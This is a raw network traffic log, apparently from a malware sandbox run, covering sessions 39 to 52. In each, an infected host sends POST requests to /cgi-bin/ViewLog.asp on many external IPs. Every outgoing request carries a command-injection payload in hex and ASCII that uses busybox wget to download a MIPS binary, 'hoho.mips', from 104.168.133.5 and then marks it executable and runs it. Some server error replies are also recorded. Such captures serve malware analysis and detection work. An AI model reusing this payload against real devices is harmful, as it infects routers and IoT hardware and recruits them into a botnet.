Nov 23, 2023 05:16:46.118432999 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.13	50186	95.216.222.106	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:10.346592903 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:10.542443991 CET	552	IN	HTTP/1.1 400 Bad Request Date: Thu, 23 Nov 2023 04:15:10 GMT Server: Apache/2.4.38 (Debian) Content-Length: 304 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 39 32 2e 31 36 38 2e 30 2e 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.38 (Debian) Server at 192.168.0.14 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.13	37166	94.103.82.150	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:11.325439930 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.13	52842	62.225.8.189	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:11.332099915 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:11.522294998 CET	1215	IN	HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1 Content-Type: text/html;charset=utf-8 Content-Language: en Content-Length: 989 Date: Thu, 23 Nov 2023 04:15:11 GMT Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 37 2e 30 2e 35 36 20 2d 20 45 72 72 6f 72 20 72 65 70 6f 72 74 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 3c 21 2d 2d 48 31 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 48 32 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 48 33 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 42 4f 44 59 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 7d 20 42 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 50 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 77 68 69 74 65 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 41 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 41 2e 6e 61 6d 65 20 7b 63 6f 6c 6f 72 20 3a 20 62 6c 61 63 6b 3b 7d 48 52 20 7b 63 6f 6c 6f 72 20 3a 20 23 35 32 35 44 37 36 3b 7d 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 20 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 2d 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 68 31 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 70 3e 3c 62 3e 74 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 72 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 6d 65 73 73 61 67 65 3c 2f 62 3e 20 3c 75 3e 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 75 3e 3c 2f 70 3e 3c 70 3e 3c 62 3e 64 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 3c 75 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 75 3e 3c 2f 70 3e 3c 48 52 20 73 69 7a 65 3d 22 31 22 20 6e 6f 73 68 61 64 65 3d 22 6e 6f 73 68 61 64 65 22 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 37 2e 30 2e 35 36 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>Apache Tomcat/7.0.56 - Error report</title><style>...H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} H3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} BODY {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} B {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} P {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;}A {color : black;}A.name {color : black;}HR {color : #525D76;}--></style> </head><body><h1>HTTP Status 404 - /cgi-bin/ViewLog.asp</h1><HR size="1" noshade="noshade"><p><b>type</b> Status report</p><p><b>message</b> <u>/cgi-bin/ViewLog.asp</u></p><p><b>description</b> <u>The requested resource is not available.</u></p><HR size="1" noshade="noshade"><h3>Apache Tomcat/7.0.56</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.13	45850	94.110.0.72	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:11.346093893 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:11.942673922 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.13	40530	94.122.207.218	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:11.362509012 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.13	50974	94.120.167.203	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:11.365878105 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.13	35584	94.158.46.21	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:11.370811939 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.13	37514	31.173.224.212	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:11.525836945 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.13	52868	94.120.255.174	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:11.550267935 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.13	56884	62.173.186.66	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:11.744612932 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:11.938976049 CET	407	IN	HTTP/1.0 302 Found Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Location: https://192.168.0.14:4443/cgi-bin/ViewLog.asp Content-type: text/html Data Raw: 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 33 30 32 20 44 6f 63 75 6d 65 6e 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 54 68 69 73 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 31 39 32 2e 31 36 38 2e 30 2e 31 34 3a 34 34 34 33 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 3e 68 65 72 65 3c 2f 41 3e 2e 3c 50 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html> <head> <title>302 Document moved</title> </head><body>This document has moved <A HREF="https://192.168.0.14:4443/cgi-bin/ViewLog.asp">here</A>.<P></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.13	34020	62.202.158.236	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:11.749609947 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.13	41618	85.185.170.251	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:11.832087040 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:15:12.105884075 CET	556	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 23 Nov 2023 04:15:11 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.13	42170	94.120.244.137	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:13.859556913 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.13	57584	62.31.252.86	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:14.072432041 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
